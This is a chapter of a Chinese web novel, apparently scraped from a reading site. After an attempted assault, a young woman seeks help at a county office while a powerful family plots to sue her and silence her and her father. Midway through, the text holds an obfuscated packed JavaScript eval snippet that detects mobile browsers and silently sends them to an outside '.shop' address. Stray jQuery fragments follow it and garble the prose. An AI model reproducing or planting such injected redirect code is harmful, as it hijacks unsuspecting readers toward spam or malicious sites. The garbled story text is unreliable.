府衙的厨娘胖婶真是好人，不光端来热水给林英男净面，还帮她梳头发。


    胖婶是被县令大人叫起来陪客的，心里疑惑：这小娘子怎半夜三更来县衙报案，头发散乱又是一身狼狈，难道是走夜路被醉汉强了？


    她竖着耳朵听小娘子与县令大人对话，提及戚家陆家，该不会说的是戚县丞吧？


    林英男坐在角落等钟雄的消息，呆呆地看着盆里的碳火。


    她脑子里在复盘先前的惊险，有些后悔。不是悔烫伤大呆鹅的眼，是悔没烫瞎他那一双狗眼。


    胖嫂见她年纪轻轻，咬嘴唇又瞪眼睛地发狠发呆，似在出神想不开。


    “我说小娘子啊，万事都想开些，没什么比活命还重要的。我老家村里有未出阁的小娘子去山里砍柴，被歹人强了，回来时闹着上吊跳河。结果歹人家托人上门求亲，她娘家怕名声不好，就把女儿嫁了过去。后来还不是一样生儿育女。我说呀，来来去去都是同一个男人，就没那些闲言碎语了。”


    林英男恨恨道：“这是什么世道？恶人毁人名节不被诛杀反而因为求娶就能免责，还白得一个媳妇。若是人人都这样为非作歹，那还要什么律法。自古至今，官府定律法开衙门，只为惩恶扬善。为妇人名声着劝嫁的，不过是帮着恶人欺侮女孩。我要是那女孩，就一把刀将恶人杀了，自己再抹脖子。”


    胖嫂见她言辞激烈，心里有些害怕，不再开口劝慰。


    四更的梆子敲过，林英男渐渐疲累，趴在膝盖上昏昏欲睡。


    恍惚听见有敲门声，睡眼朦胧地看向门口，竟然是爹来了。


    林如海亲眼见到女儿在此处，悬挂许久的心终于放下。他几欲动唇想问问情况，终究只是解开大氅给女儿披上。


    林英男先前睡得沉，额头刘海都蹭蓬乱了。见到爹盯着她看，不好意思地抓齐头发。


    见女儿脸庞白净无瑕，细看下也未发现伤痕淤青之类，他放心了，接着，眼泪又哗哗滴流……


    崔月娘一把将哭泣的林如海推开。紧紧抱住闺蜜，跟着的龚老板抬手抹起眼泪。


    王一鸣让暂且别伤感，还是先商议商议事情怎么处置。


    刚落座，林如海上前朝王一鸣鞠躬行礼，要开口时，钟雄风尘仆仆地闯进来。


    “禀告大人…”一通逻辑清晰又描述详尽的嘚嘚嘚......


    龚老板插话道：“那就是说大呆鹅伤势已经控制，就是轻伤无性命之忧了？”


    “我隐约听来的就是如此之事。”


    林如海知道没有人命官司，放松后颓然倒在椅背上，想到今日祸事种种，忍不住捂面抽泣，泪如雨下。


    龚老板起身，揽住好友轻拍后背，无声劝慰。


    钟雄道：“林先生不如尽早离开武安县。我平日在市井与人聊天所知，陆家不光是戚家老夫人外甥这么简单，早年间戚家家道中落，是靠着陆家的资助，戚宗杰才能读书中举。后来陆家又出重金给戚宗杰捐官，若不是背靠陆家一路打点给钱，戚宗杰也不能十年都占着武安县的县丞一职。”


    龚老板叹息一声，接话道：“武安县大小官吏与乡绅都极卖戚家面子，官商关系盘综复杂。前几任县老爷一举一动，皆要先看戚家面子。只要戚家不是杀人放火的事，便睁一眼闭一眼放过，从不追究。”


    林如海渐生退意，犹豫地开口：要不我和女儿立即离开武安县，避开戚家人。


    王一鸣冷眼看着他们退缩，悠悠道：“等天亮时辰一到，陆家必然会来击鼓鸣冤。”


    林如海激动：“什么？我家才是苦主啊。”


    崔月娘发愁，“那如何是好？大人你要帮帮英男啊，戚家欺人太甚了。”


    ___


    子时，戚家母子依旧在灯下商议事情。


    “我娘家这些亲戚真是不懂事，惹出这样不体面的事来，我儿受累了。”


    “母亲别这样说，都是自家人。大夫们商来议去，说大志的左眼能保住可视力有损接近失明，性命倒是无碍。”


    “炳仁承认是他想强迫林家姑娘？”


    “表哥说他冤枉，听到林先生说要请辞。顾念林家穷困又是乡里乡亲，就让账房把他的工钱结了。大志本就对林家姑娘有意，自告奋勇要去通知他们父女，不过是献殷勤博姑娘好感。哪知，唉。年轻人开个玩笑，竟差点丢了眼珠子。”


    戚老夫人不傻，知道儿子给娘家人留着面子，“你信他们说的？”


    戚宗杰沉默不语。


    戚老夫人突然想到什么，急问：“大志可有留下什么私人衣物在林家？”


    戚宗杰忙答：“都派人拿回来了，还是老张机灵，他跑回去发现地上的衣裳是大志的，就给抱回来了。”


    “那就好，你看这事怎么处理？”


    “母亲，这事是表哥和大志不对，依我看，不如算了吧？”


    戚老夫人念了句佛，悠悠说道：“林先生是秀才，还是月下先生。林家姑娘跑了出去，不知情况如何，是寻了短见还是去找人撑腰，都未可知。你说，要是天明，他们去县衙告状，大志是不是要被收监，戚家名誉也会受损。”


    “关戚家什么事？又不是咱们指使的。”


    戚老夫人冷哼一声：“账房是咱家的，去叫人的老张也是咱家的。林先生刚请辞就出这档子事，你说，关不关戚家事？”


    戚宗杰试探着问道：“那，依着母亲意思？”


    戚老夫人道：“让炳仁赶在县衙开门前，去击鼓喊冤，告林家姑娘无故发狂行凶。再逼林先生回泰平镇去，想法子毁他双手，让他无法科举和写字。只要他断了仕途没了写话本的本事，咱们就不怕他日后崛起有能力报复。”


    戚宗杰深以为然地点头。


    --------


    陆大户进屋就下跪，“姨妈受累，怪我教子无方，这么晚还要姨妈操心，搅了府上清净。”


    戚老夫人混浊的眼睛盯着他良久，叹口气，道：“此事不能全怪你们，只怪林家不识抬举。那个林家丫头，先前看着挺温柔胆小，没想到竟如此心狠手辣。”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991833|193745||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    陆大户点头称是，还把林家父女当日在泰平镇用磨盘追着王婆砸的事说了，又说林如海此人心胸狭窄，不过是乡里婆子想占便宜吃酒席，结果被他起誓将来报仇，害的王婆子一把年纪被夫家休弃。若是将来林如海真中举再中进士，哪里会轻易饶过戚家。


    戚老夫人震惊，原以为这两父女不过是骨头硬，想不到还是这么不依不饶要人命的泼辣户。


    这就有点棘手了，若是让这父女两脱逃，日后有个闪失，岂不是给戚家藏了祸端？


    “宗杰跟你都说了如何处置？告林家恶意伤人的状子写了吗？”


    陆大户点头：“写了，等四更天一到，我去县衙候着，天微微亮便击鼓喊冤。”


    戚老夫人似有些疲惫，道：“若是林家肯道歉，你就破费些银子，送林家十来亩地，让林先生生计有着落。至于林家姑娘……”


    “我让大志重聘娶她！只要把人风风光光地娶到家里，至于他们小夫妻怎么打闹，都是关上门的家事。”


    这两人不约而同地想把林家父女弄回泰平镇上囚禁起来，关门慢慢灭了口。


    戚老夫人深意地看外甥一眼，道：“正是如此，冤家宜解不宜结，若是解不开只能委屈他们了。此事了结后，你们父子当收敛些，再不要惹出此类祸事。我与你娘姐妹情深，可到底不能一直帮扶你家。你们自己的事自己看着办，积德人家有余庆。你也别总宠着孩子，由着他们的性子惹出是非，再来求宗杰擦屁股。”


    陆大户面上装唯唯诺诺的听话，心里其实毫不在意，亲戚之间不就是遇到事儿，互相帮衬的嘛。


    ----


    次日一早，天刚蒙蒙亮，武安县被一层薄雾笼罩着。


    巷子里打更的瘸子祥哥刚下值，疲惫地拖沓往家走。


    衙门方向穿来闷闷的响鼓声，振的人心脏也一跳一跳。


    正做梦的人纷纷惊醒，诧异地问道：“刚才是击鼓声？”


    “似乎是从县衙那边传来的声响，天呀，这是发生什么冤情？多少年都没听见大清早击鼓了。”


    左邻右舍的开门声顿起，皆是探出蓬着乱发的脑袋，一边系着衣带一边互相打听。


    有人瞧见祥哥，招手喊他：“哎打更的，发生什么事了？”


    祥哥熬了一夜，疲惫得只想倒头就睡，管他是鼓声还是炮声。


    一瘸一拐地，边走边应答：“肯定是大事啊。想知道缘故，自己去县衙门口亲眼看去。”


    ----


    林如海虽早有准备，可依然被鼓声吓到，他的心脏跟咚咚咚。


    钟雄道：“鸣冤鼓响了，大人是否立即升堂？”


    早班当值的衙役们已经赶来，正在院里听候指示。


    王一鸣坐在床沿，用力套上冰冷的皂靴，站起跺跺脚。


    “让林如海拿着状纸也去敲鸣冤鼓，你派些人去集市街道宣传，就说月下举杯今日性命攸关，让他们都来衙门看热闹。”


    只要事情闹得够大，就不怕戚家敢随意拿人性命。